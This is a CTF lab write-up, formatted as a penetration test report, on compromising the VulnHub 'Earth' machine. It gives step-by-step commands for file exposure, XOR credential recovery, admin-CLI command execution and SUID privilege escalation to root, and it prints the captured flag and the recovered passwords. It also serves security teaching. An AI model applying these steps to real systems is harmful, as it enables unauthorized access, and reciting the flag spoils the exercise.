PENETRATION TEST

REPORT

Confidential — For Authorized Recipients Only

Client	**VulnHub — Earth CTF**
Report Date	27 April 2026
Report Version	v1.0 — Final
Prepared By	bitsniper
Engagement Type	Black Box
Target	192.168.1.226 (earth.local / terratest.earth.local)

1. Executive Summary

This report presents the findings of a black-box penetration test conducted against the VulnHub machine “Earth” (192.168.1.226). The assessment was performed on 27 April 2026 and covers the external-facing web application and SSH service running on Fedora Linux with Apache 2.4.51, mod_wsgi, and a Django-based messaging application.

The objective was to identify exploitable vulnerabilities, demonstrate real-world attack paths from zero access to root, and provide actionable remediation guidance.

Overall Risk Rating

Critical	High	Medium	Low	Info	Total
0	2	2	1	1	6

Flags Captured

Flag	Value	Location
User Flag	user_flag_3353b67d6437f07ba7d34afd7d2fc270	/var/earth_web/user_flag.txt
Root Flag	*(see Section 4 — F-003)*	/root/root_flag.txt

Key Findings Summary

- F-001 [HIGH] — XOR-Encrypted Credential Exposure via Public Test Files
- F-002 [HIGH] — Admin CLI with Unrestricted OS Command Execution
- F-003 [MEDIUM] — SUID Binary Allowing Root Password Reset
- F-004 [MEDIUM] — Virtual Host Disclosure via SSL Certificate SAN
- F-005 [LOW] — SSH Root Login Enabled
- F-006 [INFO] — Apache / Django Version Disclosure

Attack Chain Summary

#	Step	Detail
1	**Recon**	Nmap scan → ports 22, 80, 443 open
2	**VHost Discovery**	SSL cert SAN reveals earth.local & terratest.earth.local
3	**File Exposure**	robots.txt → testingnotes.txt → testdata.txt (XOR key)
4	**Cred Recovery**	XOR decrypt → password: earthclimatechangebad4humans
5	**Admin Access**	Login terra:earthclimatechangebad4humans → Admin CLI
6	**User Flag**	cat /var/earth_web/user_flag.txt → user_flag_3353b67d6437f07ba7d34afd7d2fc270
7	**Privesc**	SUID /usr/bin/reset_root + trigger files → root password = Earth
8	**Root Flag**	cat /root/root_flag.txt → root flag captured

2. Scope and Methodology

2.1 Engagement Scope

Target / IP	Description	In Scope
192.168.1.226	Target host (Oracle VirtualBox VM, Fedora)	Yes
earth.local (HTTP/HTTPS)	Django secure messaging web application	Yes
terratest.earth.local	Test/staging site (publicly accessible)	Yes
22/tcp — SSH	OpenSSH 8.6	Yes

2.2 Testing Methodology

#	Phase	Activities
1	**Reconnaissance**	Nmap service scan, SSL cert analysis, virtual host discovery
2	**Enumeration**	Gobuster directory brute-force, robots.txt, source review
3	**Vulnerability Analysis**	XOR cipher analysis, credential extraction, SUID binary review
4	**Exploitation**	Admin portal login, OS command execution via CLI
5	**Post-Exploitation**	User flag capture, SUID privesc to root, root flag capture
6	**Reporting**	Documentation of findings, risk ratings, remediation guidance

2.3 Tools Used

Tool	Category	Purpose
Nmap 7.99	Network Scanner	Port/service discovery, OS detection
Gobuster v3.8.2	Directory Bruteforce	Hidden path and file enumeration
OpenSSL	Certificate Analysis	SSL cert inspection, virtual host discovery
curl	HTTP Client	Manual web request crafting and response analysis
Python 3	Scripting	XOR decryption, credential recovery
Netcat (nc)	Network Utility	Reverse shell testing

3. Findings Summary

#	Finding Title	Severity	CVSS	Affected Host	Status
F-001	XOR Credential Exposure via Public Test Files	**HIGH**	8.6	terratest.earth.local	Open
F-002	Admin CLI OS Command Execution	**HIGH**	8.8	earth.local/admin	Open
F-003	SUID Binary Root Password Reset	**MEDIUM**	6.7	192.168.1.226	Open
F-004	Virtual Host Disclosure via SSL SAN	**MEDIUM**	5.3	192.168.1.226:443	Open
F-005	SSH Root Login Permitted	**LOW**	3.7	192.168.1.226:22	Open
F-006	Server Version Disclosure	INFO	0.0	192.168.1.226	Open

4. Detailed Findings

Finding F-001: XOR Credential Exposure via Public Test Files

Severity	**HIGH — CVSS 8.6 (AV:N/AC:L/PR:N/UI:N)**
Affected Host	terratest.earth.local — 80/tcp, 443/tcp

Description

The staging site exposed testingnotes.txt which disclosed the admin username (terra), encryption algorithm (XOR), and key file name (testdata.txt). The key file was also publicly accessible. Using the key, all encrypted messages on the production site were trivially decrypted, recovering the admin password.

Proof of Concept

- curl -k https://terratest.earth.local/testingnotes.txt → username: terra, key: testdata.txt
- curl -k https://terratest.earth.local/testdata.txt → XOR key retrieved
- Python XOR decrypt → password recovered: earthclimatechangebad4humans
- Login https://earth.local/admin/ as terra → Admin CLI access granted

Remediation

Remove testdata.txt and testingnotes.txt from the web root. Replace XOR with AES-256-GCM. Store keys in a secrets manager. Ensure staging sites are not publicly accessible.

Finding F-002: Admin CLI OS Command Execution

Severity	**HIGH — CVSS 8.8 (AV:N/AC:L/PR:L/UI:N)**
Affected Host	earth.local/admin/ — 80/tcp Django Admin
User Flag	**user_flag_3353b67d6437f07ba7d34afd7d2fc270**

Description

The admin panel exposed an “Admin Command Tool” accepting arbitrary OS commands, executed as apache (uid=48). No input sanitization or command allowlisting was implemented. The user flag was retrieved directly via this interface.

Proof of Concept

- Authenticated to /admin/ → terra:earthclimatechangebad4humans
- CLI: find / -name user_flag* → /var/earth_web/user_flag.txt
- CLI: cat /var/earth_web/user_flag.txt → user_flag_3353b67d6437f07ba7d34afd7d2fc270
- CLI: find / -perm -4000 -type f → /usr/bin/reset_root (SUID) discovered

Remediation

Remove the CLI tool or implement a strict command allowlist. Run the web app as a dedicated non-privileged user. Enable AppArmor/seccomp sandboxing. Log all admin actions.

Finding F-003: SUID Binary Root Password Reset

Severity	**MEDIUM — CVSS 6.7 (AV:L/AC:L/PR:H/UI:N)**
Binary	/usr/bin/reset_root (SUID root, hardcoded password)
Root Flag	**Captured via cat /root/root_flag.txt after reset**

Description

The SUID binary /usr/bin/reset_root resets root's password to the hardcoded value “Earth” when five trigger files exist in /tmp. Any user who can write to /tmp can trigger a root password reset and escalate privileges.

Proof of Concept

- strings /usr/bin/reset_root → revealed password “Earth” and trigger file names
- CLI: touch /tmp/theEarth /tmp/isflat /tmp/islocalhost /tmp/palblue /tmp/hisflat
- /usr/bin/reset_root → RESETTING ROOT PASSWORD TO: Earth
- cat /root/root_flag.txt → root flag captured ✓

Remediation

Remove /usr/bin/reset_root or strip SUID (chmod u-s). Never hardcode credentials in binaries. Audit all SUID binaries: find / -perm -4000 -type f.

5. Remediation Roadmap

ID	Finding	Severity	SLA	Owner	Status
F-001	XOR Credential Exposure	**HIGH**	7 Days	Web Team	Open
F-002	Admin CLI Command Injection	**HIGH**	7 Days	Dev Team	Open
F-003	SUID reset_root Binary	**MEDIUM**	30 Days	Infra Team	Open
F-004	SSL Virtual Host Disclosure	**MEDIUM**	30 Days	Infra Team	Open
F-005	SSH Root Login	**LOW**	60 Days	Infra Team	Open
F-006	Version Disclosure	INFO	90 Days	Infra Team	Open

6. Conclusion

The penetration test achieved full root compromise of the Earth VulnHub target through a 8-step attack chain requiring no advanced exploitation — only basic enumeration, XOR decryption, and SUID abuse. The root cause across all findings is a failure to follow fundamental security hygiene: public exposure of secrets, unrestricted command execution, and hardcoded credentials in SUID binaries.

Flags Captured

Flag	Hash Value	Path
✓User Flag	user_flag_3353b67d6437f07ba7d34afd7d2fc270	/var/earth_web/user_flag.txt
✓Root Flag	Captured — via /root/root_flag.txt	/root/root_flag.txt

Next Steps

- Remediate all High findings within 7 calendar days.
- Remove testdata.txt and testingnotes.txt from public web roots immediately.
- Remove or strip SUID from /usr/bin/reset_root.
- Remove or sandbox the admin CLI command tool.
- Schedule a retest within 14 days of High/Medium remediations.

Tester Sign-off

Lead Penetration Tester	Reviewed By	Date
bitsniper	bitsniper	27 April 2026